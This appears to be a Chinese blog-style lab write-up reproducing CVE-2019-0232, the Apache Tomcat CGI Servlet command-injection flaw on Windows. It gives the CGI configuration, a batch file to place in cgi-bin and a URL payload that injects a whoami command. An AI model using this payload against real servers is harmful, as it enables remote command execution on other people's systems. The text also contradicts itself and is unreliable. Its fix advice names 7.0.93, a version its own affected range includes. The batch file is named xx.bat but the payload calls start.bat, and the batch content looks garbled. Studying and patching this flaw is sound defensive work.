tomcat-CVE-2019-0232

漏洞简介:

2019年4月13号,Apache Tomcat 9.0.18版本公告中提到,本次更新修复了一个代号为CVE-2019-0232的漏洞。

该漏洞只对Windows平台有效,Apache Tomcat 9.0.0.M1到9.0.17,8.5.0到8.5.39和7.0.0到7.0.93中的CGI Servlet很容易受到远程执行代码的影响,攻击者向CGI Servlet发送一个精心设计的请求,可在具有Apache Tomcat权限的系统上注入和执行任意操作系统命令。漏洞成因是当将参数从JRE传递到Windows环境时,由于CGI_Servlet中的输入验证错误而存在该漏洞。

影响版本:

Apache Tomcat 9.0.0.M1 ~ 9.0.17
Apache Tomcat 8.5.0 ~ 8.5.39
Apache Tomcat 7.0.0 ~ 7.0.93

环境搭建:

本地需要JAVA环境

下载环境需要的tomcat版本:

https://archive.apache.org/dist/tomcat/tomcat-8/v8.5.39/bin/

配置利用条件

修改conf/目录下的context.xml和web.xml,具体内容如下:

1.在<Context>标签内添加privileged=”true”

2.修改如下标签内容

<servlet>
    <servlet-name>cgi</servlet-name>
    <servlet-class>org.apache.catalina.servlets.CGIServlet</servlet-class>
    <init-param>
      <param-name>debug</param-name>
      <param-value>0</param-value>
    </init-param>
    <init-param>
      <param-name>cgiPathPrefix</param-name>
      <param-value>WEB-INF/cgi-bin</param-value>
    </init-param>
    <init-param>
      <param-name>executable</param-name>
      <param-value></param-value>
    </init-param>
     <load-on-startup>5</load-on-startup>
</servlet> 
<servlet-mapping>
    <servlet-name>cgi</servlet-name>
    <url-pattern>/cgi-bin/*</url-pattern>
</servlet-mapping>

至此,环境准备完毕,来到bin目录,启动tomcat

漏洞复现

在默认项目ROOT下的WEB-INF,下新建cgi-bin目录并创建xx.bat文件,内容如下:

@echo off
echo Centent-Type: text/plain
echo.
set off=%~1
%foo%

利用如下:

payload:http://IP/cgi-bin/start.bat?%26%43%3a%5cWindows%5cSystem32%5cwhoami

修复建议:

将tomcat坂本升级到如下:

Apache Tomcat 9.0.18或更高版本
Apache Tomcat 8.5.40或更高版本
Apache Tomcat 7.0.93或更高版本

留下评论